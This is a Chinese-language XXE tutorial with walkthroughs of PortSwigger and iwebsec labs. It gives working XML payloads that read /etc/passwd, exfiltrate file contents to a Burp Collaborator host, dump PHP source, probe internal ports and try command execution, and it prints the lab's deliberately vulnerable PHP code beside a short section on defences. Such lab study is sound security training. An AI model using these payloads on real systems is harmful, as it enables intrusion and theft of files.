iwebsec靶场(XXE漏洞)
一、XML基础知识
-
可扩展标记语言 eXtensible Markup Language
-
XML用途
-
配置文件
-
交换数据
-
-
XML内容
-
XML格式要求
- XML文档必须有根元素
- XML文档必须有关闭标签
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性必须加引号
-
XML格式校验
-
文档类型定义 DTD(Document Type Definition )
-
DTD内容之元素 ELEMENT
-
DTD内容之实体 ENTITY
-
实体ENTITY的使用—内部实体INTERNAL ENTITY
-
实体ENTITY的使用—外部实体EXTERNAL ENTITY
-
外部实体引用:协议
协议 使用方式 file file:///etc//passwd php php://filter/read=convert.base64-encode/resource=index.p http http//:wuya.com/evil.dtd
-
-
完整的XML内容
二、XXE
- XML外部实体注入 XML External Entity Injection
- 定义:如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
三、XXE利用方式
1.xxe靶场:直打
- 确定使用XML传输数据(抓包可得)
- 发送到Repeater
- 添加DTD,引用外部问文档
- Send得到响应
2.DNSLog:盲打
3.http接口参数,写入文件:盲打
四、XXE防御
-
**php:**libxml_disable_entity_loader(true);
-
**Java:**DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
-
**Python:**from lxml import etreexmlData =etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交的XML数据:
- ’
- "’
- '(two apostrophe)
- “”
- <>]
- ]>
- ]]>>
- /–>
- –>
五、burp靶场XXE实验
-
**网址:**https://portswigger.net/web-security/xxe/blind
-
**解析原理:**首先 burp 发送 payload 给目标程序,以上图为例,param 存在漏洞注入点,其 payload 为外部的服务器 url 地址,随后目标程序若进行解析或则引用调用等,则会去访问这个地址,而这个地址是我们的 collaborator 服务器,所以 collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后,就会不断的去问 collaborator 服务器,你收到我发送的 payload 交互了么,这时 collaborator 就会将交互信息告诉 burp,burp 最后进行报告
-
Collaborator 使用
安装
设置默认服务器
生成外带payloads
zehqaxtzw82vy0108i2icvvscji96y.burpcollaborator.net
number to generate 是生成的数量,下面的 poll now 按钮是轮询时间,点击 copy to clipboard 复制其提供的 payload url 后,就可以直接在要测试的点粘贴即可,如果目标服务器有交互,则 collaborator 会有响应信息。且这个 payload url 每次复制其二级域名都会随机生成
1.Lab: Blind XXE with out-of-band interaction
-
开启实验环境
-
转到 Burp 菜单,然后启动Burp Collaborator 客户端
-
将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态
rmhe6xbcgjl5h9j6uj1n5396txz0np.burpcollaborator.net
-
构造恶意DTD
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://rmhe6xbcgjl5h9j6uj1n5396txz0np.burpcollaborator.net"> ]>
-
使用BP进行抓包,并发送到重放模块
-
添加恶意DTD,并将productId的参数修改为&xxe;
-
重放请求包
2.Lab: Blind XXE with out-of-band interaction via XML parameter entities
-
启动实验环境
-
转到 Burp 菜单,然后启动Burp Collaborator 客户端
-
将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态
7gofdckenclf70f9udsqtclqhhn7bw.burpcollaborator.net
-
构造恶意DTD
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://7gofdckenclf70f9udsqtclqhhn7bw.burpcollaborator.net"> %xxe; ]>
-
使用BP进行抓包,并发送到重放模块
-
添加恶意DTD
-
重放请求包
3.Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
-
启动实验环境
-
转到 Burp 菜单,然后启动Burp Collaborator 客户端
-
将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态
ryt7a4b6hq1uvma1ze1kl3qvpmvcj1.burpcollaborator.net
-
单击Go to exploit server,将恶意DTD添加到body
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ryt7a4b6hq1uvma1ze1kl3qvpmvcj1.burpcollaborator.net/?x=%file;'>"> %eval; %exfil;
-
点击View exploit,生成恶意DTD的URL
https://exploit-0a7c00cb0432cb35c0c6818101da00ae.web-security-academy.net/exploit
-
使用BP进行抓包,并发送到重放模块
-
添加恶意DTD
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a7c00cb0432cb35c0c6818101da00ae.web-security-academy.net/exploit"> %xxe;]>
-
重放请求包
4.Lab: Exploiting blind XXE to retrieve data via error messages
-
启动实验环境
-
单击Go to exploit server,将恶意DTD添加到body,点击View exploit
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil;
-
生成恶意DTD的URL
https://exploit-0ac8000a03da85a3c0b35dd30165008c.web-security-academy.net/exploit
-
使用BP进行抓包,并发送到重放模块
-
添加恶意DTD
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac8000a03da85a3c0b35dd30165008c.web-security-academy.net/exploit"> %xxe;]>
-
重放请求包,获得/etc/passwd文件信息
5.Lab: Exploiting XXE to retrieve data by repurposing a local DTD
-
启动实验环境
-
使用BP抓包,并发送到重放模块
-
添加恶意DTD
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
-
重放请求包,获得/etc/passwd文件信息
六、靶场地址:http://iwebsec.com/
七、XXE漏洞文件读取
1.查看源码
-
在代码中,file_get_contents函数读取php://input传入的参数,被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生
<?php require_once('../header.php'); ?> <html> <head> <title>XXE漏洞</title> </head> <h2>XXE漏洞</h2> <div class="alert alert-success"> <p>input xml</p> </div> <body> <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); if($xmlfile){ $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; } else{ exit(); } ?> <table class='table table-striped'> <?php echo 'hello ' . $username; echo "</table>"; ?>
2.构造payload
-
利用file://伪协议读取本地文件来加载外部实体(entity),变量username和password需要定义在xml参数中,在xml中使用element元素声明
<!ELEMENT username ANY> <!ELEMENT password ANY>
-
读取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[ <!ELEMENT username ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <username>&xxe;</username> <password>glc</password> </creds>
-
获取网站源码
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[ <!ELEMENT username ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <creds> <username>&xxe;</username> <password>glc</password> </creds>
八、XEE漏洞内网探测
-
利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭,请求会非常慢
#探测22端口 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[ <!ELEMENT username ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:22"> ]> <creds> <username>&xxe;</username> <password>glc</password> </creds>
九、XXE漏洞内网应用攻击
-
利用xxe漏洞可以调用except://伪协议调用系统命令,需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[ <!ELEMENT username ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM "except://whoami"> ]> <creds> <username>&xxe;</username> <password>glc</password> </creds>
如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令